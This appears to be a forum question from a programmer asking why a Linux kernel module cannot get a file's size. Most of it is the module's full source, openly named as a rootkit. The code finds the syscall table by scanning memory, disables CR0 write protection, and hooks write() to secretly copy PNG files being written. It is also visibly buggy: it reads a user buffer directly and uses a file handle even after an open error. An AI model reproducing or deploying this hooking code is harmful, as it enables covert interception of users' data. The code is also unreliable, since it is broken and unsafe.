I tried below's code to get user space's file size.
The kernel module opens user space's file by filp_open()
, and get information.
In the new_write()
function, I tried getting file's size by (struct file*)->f_inode->i_size
, but couldn't get.
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/namei.h>
#include <asm/current.h>
#include <asm/unistd.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#include <linux/delay.h>
#include <asm/paravirt.h>
#include <linux/slab.h>
MODULE_LICENSE( "GPL" );
unsigned long **sys_call_table;
asmlinkage int ( *original_write ) ( unsigned int, const char __user *, size_t );
asmlinkage int new_write( unsigned int fd, const char __user *buf, size_t count )
{
char signature[9];
char test[9] = {0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a};
if (count<8)
return ( *original_write )( fd, buf, count );
strncpy(signature, buf, 8);
signature[8] = '\0';
if (!strcmp(test, signature)) {
struct file *orig=NULL, *new;
struct fd f;
struct kstat orig_stat;
char *orig_data, *orig_path, *tmp;
loff_t orig_size = 0;
mm_segment_t old_fs = get_fs();
set_fs (KERNEL_DS);
f = fdget(fd);
tmp = (char *)__get_free_page(GFP_TEMPORARY);
orig_path = d_path(&f.file->f_path, tmp, PAGE_SIZE);
printk(KERN_DEBUG "file path: %s\n", orig_path);
orig = filp_open(orig_path, O_RDWR, 0);
if (IS_ERR(orig) || (orig == NULL))
printk(KERN_DEBUG "file open error!!\n");
else
printk(KERN_DEBUG "file opened\n");
printk(KERN_DEBUG "i_blocks: %u\n", orig->f_inode->i_blocks);
printk(KERN_DEBUG "i_size: %lld\n", orig->f_inode->i_size);
vfs_fstat(fd, &orig_stat);
orig_size = vfs_llseek(orig, (off_t)0, SEEK_END);
vfs_llseek(orig, 0, SEEK_SET);
printk(KERN_DEBUG "orig_size: %lld\n", orig_size);
orig_data = (char *)kmalloc(orig_size+1, GFP_KERNEL);
kernel_read(orig, orig->f_pos, orig_data, 8);
new = filp_open("test.png", O_WRONLY|O_CREAT|O_TRUNC, S_IWUSR);
kernel_write(new, orig_data, 8, new->f_pos);
vfs_fsync(new, 0);
printk(KERN_DEBUG "PNG is copied! \n");
kfree(orig_data);
filp_close(orig, NULL);
filp_close(new, NULL);
set_fs (old_fs);
}
return ( *original_write )( fd, buf, count );
}
static unsigned long **aquire_sys_call_table( void )
{
unsigned long int offset = PAGE_OFFSET;
unsigned long **sct;
while (offset < ULLONG_MAX) {
sct = (unsigned long**)offset;
if (sct[ __NR_close ] == ( unsigned long * ) sys_close)
return sct;
offset += sizeof(void *);
}
return NULL;
}
static void disable_page_protection(void)
{
unsigned long value;
asm volatile("mov %%cr0, %0" : "=r" (value));
if (!(value & 0x00010000))
return;
asm volatile("mov %0, %%cr0" : : "r" (value & ~0x00010000));
}
static void enable_page_protection(void)
{
unsigned long value;
asm volatile("mov %%cr0, %0" : "=r" (value));
if (value & 0x00010000)
return;
asm volatile("mov %0, %%cr0" : : "r" (value | 0x00010000));
}
static int __init rootkit_start(void)
{
sys_call_table = aquire_sys_call_table();
disable_page_protection();
{
original_write = (void*)sys_call_table[__NR_write];
sys_call_table[__NR_write] = (unsigned long*)new_write;
}
enable_page_protection();
return 0;
}
static void __exit rootkit_end(void)
{
disable_page_protection();
sys_call_table[__NR_write] = (unsigned long *)original_write;
enable_page_protection();
}
module_init(rootkit_start);
module_exit(rootkit_end);
The result:
At the result, the file was opened well. but the file's information was only returned 0.
Plus, I adjusted kernel_read()
and kernel_write()
's size argument to 8. And I opened newly created png file by hexedit, the values were not PNG's file signature, and it was changed every attempt.
I thought the file was already opened before using filp_open()
, I hijacked write() system call.
Is this a cause? If so, How can I get the original file's data and size?